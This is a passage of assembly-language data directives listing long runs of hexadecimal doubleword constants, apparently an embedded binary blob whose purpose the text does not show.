0BC3F925Fh, 2F54A913h, 0BD330430h, 0E21B4AC5h, 0A7044F55h dd 0CFAA3D4Eh, 1A64A82h, 58139DA0h, 1BA20112h, 23794104h dd 618EB016h, 58BFE92Dh, 607B8D99h, 0D8F65FF8h, 1679BDCFh dd 0E5611C0Ch, 84C15E8Bh, 0C102B8B5h, 7662BB50h, 1B2C39C9h dd 0BC6AF813h, 0A9D9C034h, 819AE2h, 99B523DEh, 0AED46228h dd 4A47EB02h, 0BD6A85D3h, 22D008Ah, 0F3C8B28Dh, 20EFD09Fh dd 5B4A2909h, 9D8030EFh, 98331E1h, 8247CC0h, 1F780AF3h dd 522F09B3h, 0DD70FC5Fh, 4DC6396h, 5190FD72h, 0D35AAC5Fh dd 0A0C130FFh, 0EE00264Ah, 1942B0BCh, 258CDCEDh, 617B90ECh dd 99AE70h, 8EBF973h, 8DD780C8h, 0E8906A5Dh, 0CF7304A7h dd 0C12D06AFh, 6202F121h, 53BB0251h, 5E0142FFh, 0D98B622Ah dd 7C863A57h, 0F701D44Bh, 34BDABE3h, 0E7FD6A9Dh, 12D56A70h dd 0EDD1FF5Fh, 56B8A5h, 0BFBB6AFDh, 81367A83h, 923EEF3Ch dd 4FF27080h, 10B1EA92h, 6F06F36h, 0BD132959h, 3FAA0AF1h dd 1D23FBh, 0C94F3B0Ah, 0E10BED7Ch, 98FAEF44h, 76DA28h dd 0DFB8A45Fh, 57BD7484h, 9665601h, 0DC8A5090h, 2D1D2h dd 9CDF80AAh, 81008CFFh, 6434DED8h, 0B5E9FC24h, 9300C3C4h dd 6BEA0526h, 2E37079Dh, 0C94FF98Ch, 8A83C271h, 0D8BAA491h dd 0E899F42h, 0E15118B4h, 0BE665D07h, 0C0E95F42h, 20A21C57h dd 0FC5A2486h, 290A06A3h, 0A5C6E98Dh, 0F3A58E5Bh, 6D315094h dd 0B9D6D305h, 8FEA69Fh, 0ACA4043Ch, 0ABE6A009h, 7066D36Ch dd 1000DA6Ah, 1BA56B12h, 7C2D0F67h, 642FFD80h, 6521C135h dd 0AE22A0Ah, 0F631BF92h, 0DA6A5B53h, 0C716C8B2h, 6A4D81F5h dd 0C2205AFFh, 717E2E3Eh, 0D5E204A7h, 6030A59Eh, 64A251Fh dd 0C19ADBEAh, 26FEE6E7h, 0D8C5132Ah, 53127354h, 45F65289h dd 19D6322h, 0B08CC8A0h, 2AC05C28h, 0DA9F3DF6h, 6B9B3300h dd 0DB25CD8Ch, 0F9E400BDh, 14BBEE46h, 4A2551BCh, 0D146E85Bh dd 0E2BF840Ah, 91445C0Eh, 0ADB44A2Bh, 23BD2385h, 88F554A5h dd 70690281h, 0BF2EF10Eh, 0C82B5C40h, 5A059529h, 5795B42Dh dd 82F7CAC2h, 9E9143F3h, 8F0F2555h, 0ABC0CFEAh, 30404195h dd 6EB0F061h, 222DB883h, 0FD032B15h, 79494755h, 0AB65D62Eh dd 1D81C220h, 0A9800004h, 2318468Bh, 6302214Fh, 17D3BC7Fh dd 284F960h, 83130EDEh, 81F1E275h, 62DB513h, 0F05B6D92h dd 9C905320h, 5F726006h, 0E016DF8Bh, 5D8D2F09h, 30C67C54h dd 39909759h, 4F04FD6Dh, 0AA89FDBh, 503930FEh, 1C0354A2h dd 90560913h, 1E1B7C1h, 914212B8h, 8B602062h, 0F10581C7h dd 77D9D3Dh, 231DD9AAh, 0D9670064h, 9743A5E3h, 4F6D12F5h dd 2219F24Bh, 0D9F94B3Ah dd 0A1E90214h, 990818D9h, 84AF2032h, 0BDAF86B5h, 0E380FE79h dd 0DEA71C28h, 8C2C0049h, 0C3BF3DDCh, 724A874Bh, 28A660AAh dd 4D9707A5h, 2919E06Eh, 4E129F11h, 0A1BA9D31h, 79E77A1Ah dd 0D5B8BAA4h, 2CC74B50h, 9B8C18Eh, 0E076880Ah, 0FD0B846Ah dd 0D337D513h, 0C8601496h, 0A89CB917h, 4B8D89A5h, 0BFCE00ADh dd 140B37Bh, 37458B97h, 0C3E8A584h, 514A84AAh, 0C64E26EEh dd 4A249D20h, 0BDA0C8FCh, 8138D00h, 0F7CBD160h, 0BB710226h dd 9544D79Dh, 0F915F957h, 0CB484817h, 0C4F7490Eh, 482367BFh dd 0A4E4FBh, 0FDEF9D43h, 949252C9h, 4A992703h, 0E886D175h dd 1CD22BB4h, 0D2433FBBh, 0D735F37Ah, 3DA1EB06h, 9528F6E2h dd 29C186D6h, 0B76A1DB5h, 0B0684680h, 4D22A29Eh, 0DA4A9C2Fh dd 0C018C8F9h, 4DBB4128h, 3060B92Eh, 801D6560h, 5A160088h dd 8E87E0C5h, 0C8047868h, 2EFB4599h, 0FEC711FDh, 0ABDF3461h dd 6A2A9B9Dh, 0B31104C4h, 30BCFA8Bh, 61C4DAADh, 0BDE01B03h dd 0A1296CEBh, 870424B1h, 0F9A5B795h, 6EC42279h, 0E74A3355h dd 0D80DA139h, 0C893DA2Bh, 0FDE1C018h, 0DD3B645Bh, 0BC225DFFh dd 0BE29021Ch, 2A69BD31h, 43DB9CD5h, 3114F2F3h, 3A282F84h dd 7A44D2E5h, 3E660083h, 0D1BF80F8h, 7675259Dh, 7E1D5AE5h dd 0D04EF3AFh, 0B32C603Bh, 6E02FEDDh, 5E44FA2Fh, 9E412D74h dd 0ECC96A20h, 4B541164h, 123CD24Eh, 611D6FD5h, 0C6608F21h dd 8984B5D1h, 4B9335BDh, 9CCBE361h, 0A427E6AFh, 97F1BE9Ch dd 0FF992C46h, 6E52CD80h, 25DD9002h, 0ED7CDC47h, 424B9E2h dd 0C5A3BC5Bh, 58B0DA8Ah, 0D98B8802h, 0CB26DA94h, 5630710Ah dd 0F6454632h, 7517BF5Dh, 0C339AA24h, 6997206Ah, 0E4F5B27Ah dd 5D9523E2h, 8770BD12h, 66505F2Dh, 0F5ACF596h, 56A36003h dd 0DF00B23Ah, 0BE261A9Eh, 6A9AB8Fh, 6515CD7Ch, 0F8384A57h dd 5648EB5Fh, 8049B508h, 58523CA7h, 0C009E098h, 7977C71Ah dd 0C1E9E24Fh, 0BF2D4E52h, 25B84EFBh, 3E7B266Dh, 1D8DBF81h dd 0DA2B74C7h, 0C017C81Dh, 99C157DEh, 310829BCh, 0FBD2320Bh dd 0ED3760FDh, 5BB78B30h, 0A70ABDD5h, 71493376h, 49299D51h dd 3FD51371h, 0F81209F7h, 1D117537h, 75DEFB80h, 7D002A0Dh dd 7094B5C4h, 97A6DF80h, 85646776h, 4B2A8BFAh, 0C0DB9084h dd 91FD87C1h, 96516035h, 2B210ABDh, 261353Ah, 0D8B009ABh dd 46D62B5Eh, 622E001Ah, 0C636CBAAh, 8075B18Ch, 0EA63B6B1h dd 5B01F8B9h, 57211468h, 1EE0BF29h, 0B03C4B74h, 223EEB16h dd 43AC4E48h, 0E6F500AAh, 8A74BB1Ch, 9040272Bh, 0BA132DD2h dd 44B66C42h, 0F88B127Dh, 0B826AD90h, 5838BF8Ah, 5E821405h dd 7C600912h, 9A06B550h, 88E0F44h, 8D535E41h, 3AE37FC0h dd 188B0F82h, 5FE03A5Eh, 0E054C1Ch, 0B6B010A8h, 0B1E4F5E0h dd 0B7046CF2h, 0DDED8028h, 7BA7A5B8h, 0E9DE8098h, 0D30E476Bh dd 432278A3h, 0A724AA73h, 0F0162A53h, 611723E3h, 7F6BFF5Fh dd 0B12B9CE5h, 0E55FB725h, 4330B97h, 14F4317Ch, 0DD45FAD5h dd 565F08B3h, 93F001A6h, 0B2BF6CFBh, 0CA7B63A0h, 373AD726h dd 2EED8D61h, 28B5AB44h, 0CF82C59Fh, 0ECFFE5ACh, 41079843h dd 0BB3E2024h, 5DEE9825h, 7195D344h, 9FE100FEh, 5735235Eh dd 3420965Ah, 953FB38h, 0CBF1F417h, 19896553h, 0D18F5B2Fh dd 10E1D0CEh, 67C67304h, 0E4801530h, 0AA2C2DF3h, 0B9EFDF88h dd 6D712060h, 96E80013h, 0C604E381h, 8CB23FECh, 0A5B8D19Fh dd 46D68954h, 123B001Dh, 19D31ED4h, 542516BCh, 13448249h dd 3E5745F5h, 0EA208516h, 605B696Fh, 0EAFA58A1h, 85295104h dd 70D01DA1h, 9D15810Fh, 7A00E36Eh, 1F130A2Fh, 6B8FF803h dd 5FF4A4C5h, 83F15B92h, 23E6E2Fh, 341CE73Bh, 0D9AD8372h dd 50F9000Ah, 0BCD78120h, 694A3739h, 14B2BEE6h, 1201EC30h dd 0F710B585h, 4B8D4850h, 9825DECh, 0D5D26D8Dh, 0D0447397h dd 781F206Ah, 2642CB50h, 0F6DAE570h, 0DD6C402Eh, 624B6A8Bh dd 15C8919Ah, 7D1D6EC2h, 0E300DE12h, 0C5ACAF15h, 6D038200h dd 81A0043Dh, 2F27B8C3h, 97543CF1h, 0C28BBCD6h, 37D9ABC5h dd 0EF477600h, 5BB34A27h, 0AFED01D9h, 2F505B90h, 1AC32CCh dd 0BC174B70h, 2AF1CB8Bh, 0A0BA2AD4h, 91A65266h, 109C6205h dd 62BA0BA4h, 0DC5F0934h, 246BB152h, 9612F5Bh, 220BD9BFh dd 9D35A025h, 5C739D22h, 1401B525h, 8B844C8Ah, 0D6D3B8D9h dd 76013A4Bh, 1646DE44h, 8410BC00h, 19FBBB53h, 0DC4B3327h dd 0B77A275Bh, 42CE9595h, 0A4681D25h, 0FBBFEE89h, 0B5DBC9ADh dd 0DE3650h, 9A1F944Ah, 5057791Ch, 715BF92Dh, 5C5B2F29h dd 27A48D0h, 0F413F98Bh, 90D7F5CDh, 88140Fh, 6D3CBAFAh dd 0D56A54F0h, 29165674h, 0CF4C58Dh, 0A4EF95C6h, 0CEAAF344h dd 0F2DF008Eh, 0E90CF65Ah, 0C1F3441Dh, 4178D2B3h, 0CD859765h dd 0A0F257A1h, 0F01B0E79h, 0B42DEA81h, 0E014C5C2h, 831C3D1Ch dd 333FFCFh, 832E79Fh, 0D767A9CCh, 0EC7C61D9h, 0C22B5883h dd 0BEF01A35h, 4D380E02h, 12A2E15Ah, 0B7C00EC2h, 0D0033C50h dd 323A813Bh, 44841945h, 9C2D70FCh, 11E912B0h, 0A5E8692h dd 0B9FD21C6h, 4F3C401Ah, 12097DC8h, 0D6E78B81h, 2D196312h dd 5B67F805h, 0D1A60C1Ch, 2CB53720h, 1208B64Dh, 64459D61h dd 6D41058Fh, 316FC483h, 308B5162h, 811410B0h, 6014B0A9h dd 0C03359B5h, 268990C3h, 64282CDDh, 0B3BB5224h, 0D26802EEh dd 57D49AA7h, 8DD275DCh, 82020804h, 8E275445h, 0EA258DD3h dd 93D51F33h, 0F052FBB5h, 0B6242DA3h, 258D1706h, 0A57A8101h dd 34922E1Fh, 7494A2E1h, 3730F75Bh, 9D1E737Dh, 0C1497A9Fh dd 0E1686624h, 0B0A7A72Fh, 2F9D33B1h, 0CAFB28E1h, 18EDD7A5h dd 0BDD5BB60h, 9D70390Eh, 0B9D010ADh, 2A26912Bh, 33EE178h dd 65902C1h, 465EEB27h, 0C08B7E31h, 9BF4ECh, 1C409A32h dd 0E777355Ch, 0BEF33903h, 0C06076D1h, 3DBCAF7h, 28FF3FFCh dd 0D3A0D812h, 0A200F5FAh, 935EA796h, 6656FEF7h, 21EF08BBh dd 96AA1A00h, 84BC941Bh, 0D78006Dh, 0CEA6775Ch, 0E400FCD6h dd 0D5FAE075h, 7333FFh, 0F9DE8A72h, 26D744DBh, 34FB9301h dd 0D41E5A3Dh, 0F0BB189Dh, 0A9D39530h, 68FCBD37h, 392EDF80h dd 2F760330h, 177ED9DEh, 21E70830h, 3926BCh, 682B5158h dd 3B8AF0A7h, 0F5BE22h, 56BA106Eh, 5AC747FBh, 78879F31h dd 0D006F442h, 18AD3C81h, 34390832h, 0E3C44F76h, 392AB843h dd 9FF850E0h, 8D786100h, 58742FFDh, 0FC013FF7h, 328A0506h dd 60C868E3h, 3931C1ACh, 8387133h, 0B988E830h, 0ED390529h dd 40F8F4B3h, 43085A68h, 0A1B053D1h, 0B00B7801h, 0F96E6A05h dd 30AB3442h, 2E11392Ch, 0EB881F76h, 3924BE80h, 0A8E516ADh dd 9E15D8h, 0CE7C4C6Fh, 2A77087Eh, 23838B1Fh, 2BC955DFh dd 0D2180034h, 0A1E08E6Fh, 0BEE460F8h, 0E5AB1E0Eh, 6A94077h dd 0B1045AA3h, 6407A5F6h, 0AA0B8EDDh, 30FFA600h, 0F431C23h dd 5CDE400Dh, 8531D469h, 3C10A330h, 0E688105h, 0DF479EF9h dd 4376DC3h, 3166AA80h, 4863FE36h, 0DA8B0210h, 0A885B90Bh dd 80FC090Eh, 4F52EEF8h, 0A23000A6h, 0DDAA081h, 103C6E1h dd 3BD9943h, 4298E0ACh, 30AFE26Bh, 9F41B8E9h, 0C876C79Dh dd 0A337CD07h, 69A07BC6h, 3947FA63h, 3383AE80h, 0B2E9B134h dd 0B7EA8900h, 0D1A95742h, 3594028Eh, 0AD209395h, 70E9D041h dd 3F00DE11h, 0A26781A6h dd 79E538A3h, 0D7BD0F23h, 9F80B003h, 0A5FF4C60h, 902F0F1Dh dd 66A9003Bh, 9ED5E727h, 30F90F42h, 5E20EA4Ah, 6C3B983Ch dd 87CDAC00h, 71C4AE7Dh, 938C0083h, 0D1487470h, 0D40030F2h dd 4A310966h, 0F3E372h, 2487CFDFh, 1DA87F63h, 71E44500h dd 0D7DCC979h, 6FBD0CF3h, 61193470h, 80FC3026h, 0C8FCB1Eh dd 79BC2098h, 6027BBEh, 427836FFh, 0F30799F8h, 0E7709587h dd 0A470CC0h, 0C0437C5Ch, 2BD93788h, 0F6009CAAh, 5D72AE9Dh dd 1DB3FEh, 0A5616DC3h, 0CC2E33DDh, 669C3100h, 6A03D019h dd 176B3E4Ah, 41F260E0h, 50DFD9C7h, 7587C400h, 0C0F19C24h dd 0BD282110h, 0EC007C98h, 0B6CEBEE4h, 3EF9108h, 0FF233C51h dd 0E0A379CDh, 17814107h, 0DF00FE1Bh, 40B079Bh, 568F6D38h dd 0B57EC057h, 3B605BDAh, 4E4914C1h, 7A3912C8h, 0B1B000B2h dd 64086B88h, 0A9D7B806h, 1E58C143h, 0C06F33EDh, 2F404457h dd 4703B4C9h, 0E83ED551h, 0A7C7D8FDh, 37CA0006h, 0EC1F88C5h dd 987708D4h, 4DFF7000h, 0CDF6D860h, 1AA700BCh, 7997D6B3h dd 0A6736D0Ah, 2CC6CA07h, 5F678Bh, 55404F04h, 0BB970058h dd 0D75B1FAh, 0BF305328h, 2ACA2095h, 7A3729D3h, 6328E220h dd 39538E30h, 400E5A7h, 0A096C564h, 0B8C0C6CDh, 69E80FAAh dd 0C1010348h, 0C0F94B0Bh, 2100B4A3h, 7FE7D68Dh, 29A2C35h dd 30997822h, 704143B8h, 0AAD88A2Dh, 4A062879h, 10E02E8Ch dd 7D79Dh, 5532E901h, 3ED92FE1h, 0DC8052C2h, 2A106491h dd 8B3E2DFDh, 1481400Bh, 54F02C1Bh, 8CBFB8h, 0BC73AFCCh dd 3323F68Ah, 0A895CB00h, 3AD10C0Fh, 90016783h, 0DB7B528Ch dd 38D08888h, 30CF4A2h, 0B8E4DA16h, 34A81B10h, 0E6C061E3h dd 8001C19Ah, 96EC743Ch, 898A444h, 92FC21C9h, 0B4A3C100h dd 0C7BC7F38h, 0AF9E3AE5h, 0C5002040h, 46CC07C2h, 61E3BE1Bh dd 7E8839BAh, 26B8DC6Dh, 384F6209h, 0BB6680A9h, 307B0851h dd 0C628A69Dh, 0A006F87h, 0F7442E0Ch, 0CA4C64BAh, 80B4D208h dd 0E80A37A4h, 3C067AE5h, 0BB47293Eh, 0FA940E88h, 28182CB2h dd 480C36A7h, 0F801D538h, 0A8B069Eh, 219663B2h, 0AE290314h dd 1B8900D0h, 39D1C965h, 2C69C1DAh, 40E4FF7Bh, 8045B8A0h dd 0CCCC0C3Ah, 0F1FA36E0h, 73C00318h, 0BA60B26Ah, 1518593Ah dd 78C4CCD6h, 8672E600h, 0D9567F9Fh, 998EDE0h, 7B4621F3h dd 62FCD5F4h, 22352900h, 25B70E0Dh, 277E0045h, 0AA9ECC50h dd 0C56F338Ah, 1C608378h, 85D8072Ah, 0C6BB5287h, 6320C05Fh dd 88AC8108h, 0A046E18h, 0F61C2E03h, 0A520D832h, 0E00A36h dd 61CC1334h, 0D2983F20h, 979F571Bh, 8FD7B879h, 9D781894h dd 8CCD39D6h, 0D80045EAh, 7F961F2Fh, 1E93C3h, 0BBB96142h dd 3C6560C4h, 0D0A3293Eh, 863C34D4h, 50722B2h, 0C59C74CEh dd 7C5C0801h, 0F0A6AC0h, 0F73C212Eh, 6900D591h, 7AAA0A32h dd 0BD49E3A8h, 0A11A0038h, 0D7E1ACF0h, 0F863ECCFh, 0FCCB0205h dd 0C6AB5387h, 44942462h, 703318FDh, 242E2B0Ah, 0E11198h dd 4F0A3BA0h, 6F9FA0Fh, 0E2FC84A3h, 40081BFh, 734BDA9Eh dd 711EAB61h, 0DC8700F4h, 8D4344C5h, 83183002h, 0E188B1EFh dd 2977B55h, 26D4DB58h, 0BC603873h, 0E5674516h, 5F91BF70h dd 27E1C6A2h, 402C0020h, 7F0947E7h, 8EAC3417h, 278460C8h dd 4982ED4Bh, 8A0858D3h, 0A303C6BDh, 0E60468h, 98506438h dd 5534B91Bh, 2B208C90h, 402462CBh, 28412858h, 0C0851452h dd 4AB00418h, 9FAA322Dh, 3A20A220h, 254D831h, 7C4B25BBh dd 9C4ADE2Dh, 88868806h, 2CC55620h, 4128B2E2h, 30C95B9Dh dd 47005FBCh, 78885E9Fh, 0CA0BBB0Fh, 81B8AA60h, 9C73C92Eh dd 3AD054D9h, 0D223D8h, 46967685h, 0C94C32B2h, 6E40058h dd 1F613C60h, 0F5090CEh, 28B01782h, 3B079094h, 0A0A2ED51h dd 0CD09CA1Ah, 7F87EC91h, 6E349886h, 49222F62h, 0D875437Ch dd 3BBFF50Dh, 28988955h, 452621FAh, 0E04D4814h, 0B82E0AC8h dd 3943FC6Bh, 0D0D848A8h, 9D013523h, 6C3C73C1h, 589C818h dd 503EC1E8h, 4037D870h, 6F16B8C7h, 0F501D65Fh, 0E517FDCCh dd 263D0064h, 0A4E47B59h, 76B80C24h, 51C29520h, 80D01830h dd 0CE38E3F8h, 859A443Ah, 9CF37926h, 25511009h, 0F041A334h dd 2E74609Bh, 160D8A4h, 8AAB1D98h, 0DEC99BB3h, 0A3C5E038h dd 170418C0h, 0CCA971B1h, 7D90E754h, 8DEC4F03h, 616D9801h dd 11877821h, 4F79CC24h, 709307Ch, 11DD9C98h, 0BCF97B14h dd 0C412F88Ch, 0E2609E39h, 75B2A921h, 0EF960198h, 8761DC59h dd 7B4C34CBh, 7FF42F1Fh, 0A83BD980h, 0B2394Eh, 0B6361F82h dd 293098FFh, 0BD923C00h, 9AD8FE5h, 0CD150F83h, 0F0B9A539h dd 9C0BF88Eh, 99D5A900h, 0D981EF55h, 1B6C01B9h, 0EB3130E8h dd 82408394h, 3DBEF44Fh, 8180DE58h, 6CF6B8E3h, 0CCB10F72h dd 0F018C879h, 7F55ABE8h, 30E1F2A0h, 4011890h, 114833E8h dd 572CC4h, 0D2A6E808h, 0C937A34Dh, 0E011850Eh, 0FE729BFh dd 1C41B24Ch, 8B5B2D26h, 53D16874h, 7900D033h, 5B2924D3h dd 0A0B0F1BEh, 0B3641250h, 0A1082C30h, 34B23893h, 80110B2Eh dd 71827F3Ch, 236B8A17h, 2F1BB002h, 0BC60E0D0h, 0C31988F7h dd 0F3394716h, 6607FC40h, 43197CCh, 13F8542h, 7D448096h dd 87481417h, 59300220h, 0E0B81AD0h, 90EFD14h, 0C01F819Dh dd 0F5736448h, 3CD67A14h, 2FAFE120h, 38E42818h, 74EBC124h dd 247281BAh, 0B483532Dh, 85458C40h, 0CE7D2AAAh, 47D10880h dd 2E0307E6h, 0B973373h, 52256B28h, 803AD837h, 2E56425Dh dd 0F86E0EFAh, 27E80DB2h, 70B88BA4h, 3F09B834h, 82966015h dd 0E4CC06F4h, 0CD0C2154h, 9D868081h, 0FB18667Fh, 0F4894488h dd 420415C2h, 3F05E8BBh, 1CC6751h, 381F88C4h, 82A855DCh dd 4446AE94h, 3029246h, 21486DE8h, 594BFC33h, 43B2F180h dd 2F50A860h, 5A58CCB0h, 0A59BC050h, 493E7A04h, 0CC18D81Dh dd 3B3AA9F9h, 97672200h, 926220D2h, 8DF72C99h, 7C010FCh dd 43E4B280h, 28C0A4B4h, 6CE63E5h, 0CF824270h, 5B004903h dd 488B1576h, 0D04D4Ah, 5792946Bh, 0B86843C8h, 819EFCA8h dd 2FD10A02h, 23BFF353h, 1BC22EBDh, 0AC0F0A8h, 39849470h dd 0E80D01C6h, 0C0F1486Fh, 8B88BE0Ch, 0FAE700D4h, 45D3C87Ch dd 132C5C3Ah, 0EA01AC9Dh, 651CBA53h, 0A0A31630h, 83C508B8h dd 0FCCC76D8h, 8FC7C9CBh, 0D609800Ch, 7D6E20h, 96C14615h dd 0B827ED24h, 792A4100h, 0AABC0B81h, 30F8B983h, 21FB1668h dd 29ED2CBh, 210803C8h, 21DAC75Bh, 6334F1F0h, 45EE17D4h dd 919330Fh, 48446D5h, 7F9C8673h, 2B2E628Eh, 7840160Fh dd 6F922C03h, 7F503500h, 0D2C7A802h, 0A0BE53A7h, 8130B2A2h dd 55430096h, 2E7320B8h, 46136C2Ch, 903A0B25h, 0DE00B223h dd 1F35BA38h, 84BE49E3h, 7DA40C00h, 8C8BC494h, 2B906D7Fh dd 54EC4B02h, 0C13E8A39h, 0AC508380h, 0FDA530A3h, 0F7282020h dd 90649432h, 0E80E6097h, 0F9482470h, 0D58A7010h, 9D09E700h dd 0CAA4C7CFh, 0D3C40364h, 0F2053043h, 532C6002h, 6CA6B18Fh dd 9A377C4h, 0D7FC3F79h, 0C224D804h, 6D308940h, 2E02110Ah dd 80DE8814h, 440A35A2h, 86005D29h, 0E74D79BEh, 581A3930h dd 9F8E709Eh, 736D00B0h, 0B6C43C81h, 9774A8Ah, 9980A5C0h dd 0E2B5CC9Fh, 4602B700h, 28830C23h, 2C27E6F6h, 42BCBC1Fh dd 0E000A105h, 6CD4611h dd 2E59DD0Bh, 0D920F0C8h, 5CAA01DEh, 0A0E73EE8h, 0C3F610C4h dd 3C750091h, 62A2F3DAh, 3CB1CCA1h, 0DB0C1D01h, 22893E52h dd 68A78331h, 810ACB86h, 4C1E1778h, 0D360C6C8h, 0BFE030FBh dd 0E1DCD450h, 7ED5E902h, 81B1BC3Fh, 0F1CD0EA8h, 0FA0761B8h dd 0D070EE59h, 772D405Ah, 0D0393A00h, 74135D93h, 48CE540Ch dd 1E4A3D45h, 44815A80h, 0BF80AFCFh, 0BA9FD518h, 104ED1h dd 2E25B768h, 16646296h, 0F82F291Eh, 45CD4281h, 88509538h dd 10D879Ah, 0B36946BAh, 0EF0F393Fh, 0F601E172h, 3DABA358h dd 0F820F9DCh, 1A22820h, 21E6B0h, 754903DAh, 3F838DFCh dd 4BDC9450h, 0AA0FAC05h, 0FCC3A2E1h, 0CDFAA15Eh, 84E60430h dd 803F8B27h, 64DB3CC8h, 43CF0028h, 4488E7D6h, 97002D38h dd 250EC4Ch, 0C23B077h, 2C8940A3h, 21C0F008h, 0D80218C9h dd 0DFD91EDBh, 0F113C1F8h, 706238D1h, 0B7F20C0Dh, 603C491Bh dd 0B8100030h, 0A896BED8h, 7F7C3A42h, 0E1539318h, 6C0D21h dd 5B5EAF01h, 83683760h, 21D508CCh, 174002Ch, 79AC10FCh dd 8FF2E00Bh, 0C5E21800h, 0E2F465Eh, 0E72D03C3h, 712843C2h dd 92B63818h, 0FF475118h, 0C1B20CF1h, 133075F0h, 0B0AA1102h dd 8021887Bh, 0C021BFAh, 3501921Fh, 3D3F869Fh, 8082E82Bh dd 0B27B4A4Eh, 0DC116C9Dh, 0EF1B439Ch, 700F0B5Ah, 610AA3D3h dd 206336Ch, 113B1F0h, 60BD2224h, 80E94B14h, 5C0A7578h dd 60B36A0h, 0BAD296EBh, 4F00E845h, 0D47A9C13h, 184D9779h dd 0A0F6EF6Ah, 3900D75Ah, 0B12F2745h, 0E4FE6B5h, 0A8CBAA4Dh dd 0C25D41A1h, 477EF4F0h, 0B598CA01h, 42D5CC11h, 7E862DF8h dd 877539h, 0D8B4017Bh, 2CECB893h, 5BA1FB00h, 0C94D80A3h dd 0E7D4FEA5h, 0DCAD0CBh, 908C7C30h, 7CE7CE8h, 0AB386362h dd 0D2C9500Eh, 8D00BA28h, 2D47831Dh, 0C66F8BDEh, 20611208h dd 8DBD4F00h, 313DDD3Fh, 44820063h, 0F851C737h, 1D0F654Dh dd 20610730h, 0EE7F441h, 0F786D0E9h, 35861D7Ch, 1BC1CC64h dd 82002551h, 0BA991CBEh, 0F59844h, 0B9E2C08Dh, 17EF65D5h dd 55C7F31Ch, 8B04599h, 705CA9A1h, 8660F5h, 0F7112E5Eh dd 5FD1179Fh, 7CA7610Dh, 80D9A82Ah, 97D73040h, 180260E5h dd 2B6D5D11h, 0AD1D8C0h, 0A0F479FFh, 3F7B27A4h, 0D21F9E4Bh dd 0DB510C09h, 92078618h, 973A1E05h, 0AE385220h, 632B0B85h dd 6100F8DDh, 0EB23DECFh, 0B06858h, 4AF1DA3Ah, 0AE55D2h dd 93B91A82h, 37CDA64Dh, 1591F500h, 590ED403h, 1B160056h dd 66A8EC49h, 7F00AB48h, 55C64673h, 9FA0C4h, 1656216h dd 9E393515h, 60BA8900h, 0BEA464Ah, 0C1800041h, 66A9AD45h dd 7500B611h, 0BFE5B118h, 9A8D59h, 0EC7876F2h, 0E93EADA1h dd 2AE20700h, 0AB759E0Bh, 0C6A00041h, 0E7363281h, 404C3BB7h dd 0CA160033h, 0C1066029h, 2AF70062h, 7BC64F4h, 0BDE8F5ACh dd 0F9A64A17h, 0A0CDBA0Fh, 3D81EB12h, 165C0F07h, 0F80FBA4h dd 52C7A24Fh, 0A0F8BA09h, 0D18303D6h, 457CC057h, 4081F77Ah dd 0B17D9964h, 74608362h, 0E839A9D2h, 556C52h, 0FE86EE4Dh dd 8DE994CAh, 0BDEAF103h, 780C9FFDh, 0CFF60530h, 59E4D56h dd 807D1714h, 20FDC4EEh, 193F590Ch, 0DF478AEh, 215053B3h dd 0E41C0CD1h, 47192863h, 3FC00024h, 17BA5C3Ah, 7B33D273h dd 0B7F79938h, 14C0F686h, 10F210DDh, 28A75CD1h, 0D24500B9h dd 4DB601E7h, 0C4DA0380h, 0C675B42Ch, 7C642000h, 0BCA4742Fh dd 624C2808h, 0A88200DFh, 5C057303h, 0B1C010E3h, 0C1D56A2Ch dd 0B39C0387h, 9435B645h, 2524B8A0h, 0E351CE61h, 3081F0FBh dd 3DC995E0h, 5189F004h, 81EA3Eh, 1CF843E9h, 5C3C2F74h dd 4B189755h, 0FB107949h, 0F9EC6401h, 56B9B173h, 0B445A041h dd 5A170F10h, 0AF983750h, 9AA7DD00h, 0FB13DF8Eh, 0B3F639D1h dd 0D7BB9780h, 893FFA11h, 79E84F30h, 50F75D55h, 887B247Dh dd 0D71FB114h, 1B82FDE3h, 49F652E5h, 44FF144h, 5D12ADECh dd 0AC203DF8h, 0F99F9A0h, 34FCF106h, 0E3240092h, 0E9608140h dd 92055E12h, 939F6803h, 0FBC1EFD2h, 29883E58h, 5988863Ch dd 11C2B89Bh, 28213174h, 90964C08h, 14A084BBh, 684E2448h dd 84C79093h, 0F044491Ch, 0DB4F0082h, 0C034DCh, 51C4CCB3h dd 0FA1F3C30h, 0A4A59400h, 751B1570h, 0A8DF0E6Bh, 1EAF6EABh dd 20E5F927h, 0A972A4A0h, 0C2F7051Ch, 70C381BEh, 41992317h dd 0FD8ED8h, 22868090h, 0B391A352h, 45555F00h, 849BFEB1h dd 0C78A2E35h, 58D70016h, 11B7EC70h, 1B32E301h, 559A746Eh dd 0E8E472E1h, 0DE200053h, 624EEFBDh, 0FC002248h, 0FD6B099h dd 2B5998h, 0A297FAB5h, 69508E72h, 64CC9250h, 0A66A9F00h dd 0B663C1B3h, 0C820000Bh, 0DB921524h, 2B60AA70h, 0A8415468h dd 8C4D0146h, 0BDCFE23Dh, 0A63EEC8Ah, 7A18DD76h, 8B1089D2h dd 0D819000Ch, 12DA52C8h, 70025BAAh, 66E5234Bh, 6B0C4063h dd 68E2FDh, 65E7C67Ah, 2708D202h, 771C2201h, 23497CD5h dd 0D7250983h, 0C54F72h, 8EAFE0ACh, 4C3E3C59h, 0CE99815Eh dd 0D6E62030h, 0C8E42BD9h, 39452CC6h, 0FDF80025h, 52AD9A7Ah dd 78C600Fh, 5B2A8768h, 9BB4BA41h, 0E08047D9h, 0FAFEC1D4h dd 0A904402Eh, 8279A02Ch, 0ACD12801h, 0DA57F41Dh, 0A8494428h dd 9F0FF07h, 9BE03C43h, 78D03E5Fh, 8926004Eh, 0FABA971Bh dd 643DA82Bh, 820D809Ah, 0EB8C533Bh, 0B5AE027Eh, 28ABB62Dh dd 0D839B8C0h, 3E00D1E2h, 0D508C24Bh, 0AA5BAB5h, 975D53ACh dd 5F3F0BD4h, 0D0C48D87h, 4133985Bh, 9E10E801h, 13787BAEh dd 0A7F000FBh, 193B62EFh, 6A000777h, 0CC83F3D0h, 0FE2A8E8Ch dd 0A998F4h, 0BD5FF7CFh, 0E33A3E5Eh, 0F2527000h, 5046E22Eh dd 0C0EC00B1h, 0CC86D660h, 37E40928h, 8E012C79h, 256E53C6h dd 0F853C09Eh, 0D1CAF8E7h, 0A68A06BBh, 18885F2Ch, 440370E6h dd 2E55FAF3h, 0BCC4F369h, 0CB3B0CC0h, 0A39E0C84h, 6E087F4Fh dd 0E0A01876h, 533AC2F0h, 5478780h, 0B730144Dh, 1F38F541h dd 836A2AA5h, 4431CF74h, 94C59C00h, 29681411h, 0AF320941h dd 2854AE54h, 